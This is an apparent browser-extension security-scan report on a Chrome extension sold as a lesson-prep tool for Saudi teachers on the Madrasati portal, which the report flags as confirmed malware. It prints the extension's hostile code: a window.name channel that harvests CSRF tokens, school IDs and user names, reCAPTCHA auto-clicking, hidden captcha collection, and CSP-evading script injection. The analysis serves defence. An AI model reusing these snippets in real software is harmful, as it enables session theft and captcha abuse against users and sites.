Security Alert: Confirmed Malware
تحضيري الشامل
ID: nfinkkeddkialadnpfjajphbnpakikpn
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- مؤسسة تحضيري للبرمجةView Profile
- Privacy
- Privacy Policy
- Help
- Help Center
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
تبسيط تعديل واعداد الحصص للمعلم
اضافة مهمة لدعم المعلمين في انجاز مهامهم اليومية بضغطة زر واحدة 1- اضافة مساعدة للمعلم في تحضر الدروس في جدول منصة مدرستي 2- المساعدة في اضافة الواجبات والاثراءات من منصة عين الى دروسك بشكل سريع وسهل ----------------------------------------------------------------- 3- يمكنك حفظ تحضير واستيراده في درس اخر بدلا من ان تكرر كتابة نفس التحضير لنفس الدرس لفصول متعددة ---------------------------------------------------------------- 4- تساعد الاضافة في تحضير حصص الاسبوع بشكل سريع وواضح 5- تمكنك الاضافة من وضع بيانات واثراءات معتمدة على الدرس المختار حيث تضع رابط الاثراء رابط شرح الدرس على منصة عين او رابط شرحه على اليوتيوب. ------------------------------------------------------------- 6- تساعد الاضافة في تغيير مسار الدرس ومن ثم تقوم بدعمك في تحضير الدرس بناءا على المسار المختار 7- يمكنك تغيير التحضير قبل الحفظ ----------------------------------------------------------- 8- لا تحتاج الاضافة الى اي كلمات مرور او حسابات 9- لا تقوم الاضافة بترحيل اي بيانات خارج جهاز المستخدم ---------------------------------------------------------- برمجة وتصميم : مؤسسة تحضيري لتصميم نظم الحاسب الآلي التعليمية والتدريبية مكة المكرمة 0542946749
On the Madrasati teacher portal, the extension harvests the page's CSRF token, school ID, the logged-in user's name, and the page title, then concatenates them with a random per-install ID and passes them as the `name` argument to `window.open`. A subsequent extension-controlled script (contentScript.js) loaded into that window can read `window.name` to exfiltrate the entire bundle of credentials/PII without any explicit network request from this file. This is a textbook window.name covert channel used to smuggle authenticated session data out of a privileged page.
chrome.storage.local.set({ "rnbahgdijd": Math.floor((Math.random() * 99999999999) + 1)});chrome.storage.local.get(["rnbahgdijd"], function(items) { var newWindow = window.open('', document.getElementById("csrfid") .value + "," + document.getElementById("hSchoolId") .value + "," + $(".profile-element") .eq(0) .find("strong") .eq(0) .text() .trim() + "," + $(".page-title") .eq(0) .text() .trim() + "," + chrome.runtime.getURL("/jquery-2.1.4.min.js") + "," + items.rnbahgdijd); newWindow.document.write(` <html><body> <script src="${chrome.runtime.getURL('/contentScript.js')}"></script> </body></html> `);});Only inside an iframe, the extension hides the page's submit button, auto-clicks the Arabic 'Next' (التالي) button, force-changes a unit selector, scrapes whatever the user types into `#Captcha`, and accumulates those captcha solutions into a JSON array on a hidden DOM element keyed by the random `rnbahgdijd` ID stored in chrome.storage. When enough solutions are collected, the page body is made invisible to hide the activity from the user. This is automation/abuse against the schools.madrasati.sa portal — solving captchas in the background and harvesting the answers — using deliberately obfuscated identifiers (`gggtocheckforthecreateddob`, `gotgfv555`, `hhgfdhju6yt`) to obscure intent.
if (window !== window.parent) { chrome.storage.local.get(["rnbahgdijd"], function(items) { function gggtocheckforthecreateddob() { if ($("#aq" + items.rnbahgdijd).length > 0) { setTimeout(function() { $("html, body").animate({ scrollTop: $(document).height() - $(window).height() - 400 }); $('button[type="submit"]').parent().hide(); }, 2000); function gotgfv555() { if ($('a:contains("التالي")').length > 0) { SelectedUnitId.selectedIndex = 1 $('.btn.btn-primary:contains("التالي")').eq(0).click() ... if (JSON.parse($("#aq" + items.rnbahgdijd).val()).length == document.getElementById("aq" + items.rnbahgdijd).getAttribute("name") && JSON.parse($("#aq" + items.rnbahgdijd).val()).length > 0) { document.getElementsByTagName("body")[0].style.visibility = "hidden" }Loaded into google.com/recaptcha/api*/anchor pages (per the manifest's `*://google.com/*` content-script entry), this script auto-clicks the reCAPTCHA 'I am not a robot' checkmark whenever it appears, throttling itself with sessionStorage to avoid detection. Auto-solving Google reCAPTCHA from a content script is a hallmark of CAPTCHA-bypass / bot-automation malware and serves no legitimate purpose for an end-user 'lesson preparation' extension.
var sid = setInterval(function() { if (window.location.href.match(/https:\/\/www.google.com\/recaptcha\/api\d\/anchor/) && $( "#recaptcha-anchor div.recaptcha-checkbox-checkmark") .length && $("#recaptcha-anchor div.recaptcha-checkbox-checkmark") .is(':visible') && isScrolledIntoView($("#recaptcha-anchor div.recaptcha-checkbox-checkmark") .get(0))) { var execute = true; if (sessionStorage.getItem('accesstime')) { if (new Date().getTime() - sessionStorage.getItem('accesstime') < 7000) { execute = false; } } if (execute) { $("#recaptcha-anchor div.recaptcha-checkbox-checkmark") .click(); sessionStorage.setItem('accesstime', new Date().getTime()); } clearInterval(sid); }}, 500);The content script injects an extension-bundled script (`myscript2.js`, declared as a web_accessible_resource) directly into the target page's main world via a `<script src=...>` element. This deliberately escapes Chrome's isolated content-script world so the injected payload can read/modify page-level JS state (e.g., `grecaptcha`, `SelectedUnitId`, application globals) on the Madrasati portal. Bundling this loader as a generic helper plus removing the tag after load is a common stealth pattern.
function injectCode(src) { const script = document.createElement('script'); // This is why it works! script.src = src; script.onload = function() { this.remove(); }; // This script runs before the <head> element is created, // so we add the script to <html> instead. nullthrows(document.head || document.documentElement) .appendChild(script);}injectCode(chrome.runtime.getURL('/myscript2.js'));This builds a string of JavaScript, assigns it to an inline `onreset` attribute on `<html>`, dispatches a synthetic `reset` event to force the page to execute it, then strips the attribute. This is a well-known trick used by malicious extensions to run arbitrary code in the page's main world while evading static review and CSP — exactly the technique seen in CAPTCHA-farming and credential-stealing extensions.
} else { $("#Captcha") .val(""); var actualCode = 'grecaptcha.reset();'; document.documentElement.setAttribute('onreset', actualCode); document.documentElement.dispatchEvent(new CustomEvent('reset')); document.documentElement.removeAttribute('onreset'); setTimeout(function() { togetcaprta(); }, 1000);}The extension claims to be a Saudi teacher lesson-prep tool, yet it injects content scripts onto every google.com page and exposes `contentScript.js` and `myscript2.js` as web_accessible_resources to *every* `https://*/*` origin. This drastically widens the attack surface beyond the stated purpose and is what enables the in-page script injection and reCAPTCHA auto-click observed in myscript3.js / contentScript2.js.
"matches": ["*://google.com/*", "*://www.google.com/*"],"css": [],"js": ["jquery-2.1.4.min.js", "common.js", "myscript3.js"]..."web_accessible_resources": [ { "resources": ["jquery-2.1.4.min.js"], "matches": ["https://*/*"] }, { "resources": ["contentScript.js"], "matches": ["https://*/*"] }, { "resources": ["myscript2.js"], "matches": ["https://*/*"] }]Function and variable names are deliberately gibberish (`gggtocheckforthecreateddob`, `gotgfv555`, `togetcaprta`, `hhgfdhju6yt`) and the DOM element used to hold the harvested captcha values is keyed by a random per-install ID (`#aq` + `rnbahgdijd`). Combined with bundling jQuery and js-base64 inside the same content-script blob, this is intentional source-level obfuscation designed to make the script's true purpose hard to identify in review.
function gggtocheckforthecreateddob() { if ($("#aq" + items.rnbahgdijd).length > 0) { ... function gotgfv555() { ... function togetcaprta() { if ($("#Captcha").val() !== "" && JSON.parse(document.getElementById("aq" + items.rnbahgdijd).getAttribute("value")).length !== document.getElementById("aq" + items.rnbahgdijd).getAttribute("name")) { if (document.getElementById("aq" + items.rnbahgdijd).getAttribute("value").indexOf($("#Captcha").val()) == -1 && $("#Captcha").val() !== "") { var hhgfdhju6yt = JSON.parse(document.getElementById("aq" + items.rnbahgdijd).getAttribute("value")); hhgfdhju6yt.push($("#Captcha").val()); $("#aq" + items.rnbahgdijd).val(JSON.stringify(hhgfdhju6yt));By severity
Versions scanned
Showing 1 of 22 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 3 | 7 |
Files with findings
4 distinct paths — top paths by unique finding count:
- contentScript2.js4
- contentScript3.js1
- manifest.json1
- myscript3.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.